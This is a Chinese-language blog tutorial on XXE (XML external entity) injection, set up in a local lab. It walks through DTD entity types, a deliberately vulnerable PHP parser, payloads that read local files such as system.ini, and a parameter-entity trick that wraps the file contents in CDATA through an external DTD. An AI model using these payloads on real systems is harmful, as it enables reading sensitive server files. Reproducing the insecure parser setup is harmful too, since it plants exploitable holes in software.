Normal XXE

刚开始学习XXE,理解不对的地方请指出!

xml基础

Normal XXE 即有回显读取本地文件。
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

在这里插入图片描述

内部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" >//可以理解为定义一个变量test,值为this is xml
]>
<cred>&test;</cred>//这里引用变量,使用&test;引用

结果

在这里插入图片描述

外部实体

外部实体需要文件去解析。
先创建一个文件1.txt。

f:/1.txt
在这里插入图片描述
1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test SYSTEM "file:///f:/1.txt" >//system关键字表示这是外部实体
//此时test的值是1.txt文件中的内容。
]>
<cred>&test;</cred>

1.php

<?php
libxml_disable_entity_loader(false);//设置为True可禁用外部实体注入
$xmlfile = file_get_contents('1.xml');// 利用php伪协议获取post提交的原始数据
$dom = new DOMDocument();// 创建XML对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 将post提交的数据生成xml文档
//后面两个参数可以参考https://www.php.net/manual/en/domdocument.loadhtmlfile.php
// 实测,后面两个参数必须得有。不然没有回显
$creds = simplexml_import_dom($dom);//得到一个SimpleXMLElement对象从$dom。这个对象包含了所有数据。
echo $creds->username;
?>

浏览器访问1.php

在这里插入图片描述

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred>//在xml文档中引用

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com
]>

<root>
<test>[This is my site] &internal;</test>
</root>

结果

在这里插入图片描述

Normal XXE

先来两个文件
3.php

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[
	<!ENTITY param SYSTEM "f:/1.txt">
]>
<content>&param;</content>

结果,没有任何问题。
在这里插入图片描述
既然这样,我们可以读取一些敏感文件
1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[
	<!ENTITY param SYSTEM "file:///c:/windows/system.ini">
]>
<content>&param;</content>

在这里插入图片描述

我们新建一个2.txt文件

在这里插入图片描述
修改包含的文件为2.txt。
在这里插入图片描述
再次访问3.php。
实力报错

在这里插入图片描述

这是因为2.txt中包含一些特殊字符,啥是特殊字符????
像’<’,’&'都会被xml解析。

这就要用到CDATA了。

在这里插入图片描述

例如:

<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html]]></content>

在这里插入图片描述

回到正题

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[
	<!ENTITY % file SYSTEM "file:///f:/2.txt">
	<!ENTITY % start "<![CDATA[">
	<!ENTITY % end "]]>">
	<!ENTITY % wrap SYSTEM "http://127.0.0.1/1.dtd">
	%wrap;
]>
<content>&all;</content>

1.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%file;%end;">

访问3.php,不会报错。

在这里插入图片描述

分析

首先访问3.php,3.php的代码没什么好说的,和上面的一样。
然后3.php会包含1.xml文件。

  1. 当解析<!ENTITY % file SYSTEM "file:///f:/2.txt">时,会将2.txt的文件内容传给file。即file=<html><body></body><html> 。
  2. <!ENTITY % start "<![CDATA["><!ENTITY % end "]]>">也是分别赋值给start和end。
  3. 当解析<!ENTITY % wrap SYSTEM "http://127.0.0.1/1.dtd">时,会将1.dtd文件中的内容值传给wrap
  4. %wrap;是将wrap显示在这里。
  5. 因为wrap中的内容是1.dtd。是合法的xml语法,会被html语法解析。
  6. 即解析<!ENTITY all "%start;%file;%end;">,这里%start;为CDATA的前半部分,%end为CDATA的后半部分,%file为2.txt的内容,然后一拼接,赋值给all。
  7. <content>&all;</content>调用all。则成功的显示了一些特殊字符

参考:https://xz.aliyun.com/t/3357#toc-2
https://www.cnblogs.com/backlion/p/9302528.html

发布了38 篇原创文章 · 获赞 8 · 访问量 2110

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/103628721
xxe